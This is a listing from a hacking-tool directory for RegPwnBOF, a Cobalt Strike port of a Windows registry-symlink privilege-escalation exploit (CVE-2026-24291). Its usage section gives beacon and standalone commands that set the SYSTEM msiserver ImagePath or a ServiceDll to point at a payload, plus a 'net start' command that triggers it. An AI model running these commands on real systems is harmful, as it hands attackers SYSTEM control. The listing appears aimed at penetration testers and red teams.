Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
RegPwnBOF — Bof of RegPwn by MDSec | Kitploit
Tools/GitHubGitHub/flangvik/regpwnbof
Privilege EscalationExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubflangvik/regpwnbof

RegPwnBOF

Bof of RegPwn by MDSec

View Repository
12710348 months agoReviewed by Kitploit
Share

RegPwn BOF

Cobalt Strike BOF port of the RegPwn exploit by Filip Dragovic (@Wh04m1001) / MDSec ActiveBreach.

This is a sloppy BOF reimplementation of the original C# exploit. All credit for the vulnerability research and exploit goes to Filip Dragovic and MDSec.

  • Blog post: https://www.mdsec.co.uk/2026/03/rip-regpwn/
  • Original repo: https://github.com/mdsecactivebreach/RegPwn
  • CVE: CVE-2026-24291

What it does

Exploits a registry symlink race condition in the Windows Accessibility ATConfig mechanism to write arbitrary values to protected HKLM registry keys from a normal user context (Local Privilege Escalation).

Targets Windows 11 25H2/24H2, Windows 10 21H2, and Windows Server 2016/2019/2022 prior to the March 2026 patch.

WARNING: This exploit locks the workstation as part of the race condition.

Default target

The msiserver (Windows Installer) service ImagePath. This service runs as SYSTEM and can be started by normal users.

Usage

Cobalt Strike

Load regpwn.cna in Script Manager, then:

beacon> regpwn "cmd.exe /c C:\Programdata\payload.exe"
beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll

Standalone test

regpwn.x64.exe "cmd.exe /c C:\Programdata\payload.exe"
regpwn.x64.exe C:\payload.exe SYSTEM\CurrentControlSet\Services\OtherService ImagePath

After the exploit succeeds, start the service to execute as SYSTEM:

net start msiserver

Build

Requires x86_64-w64-mingw32-gcc (MinGW-w64 cross compiler).

make        # build BOF (regpwn.x64.o)
make test   # build standalone EXE (regpwn.x64.exe)
make clean

x64 only.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →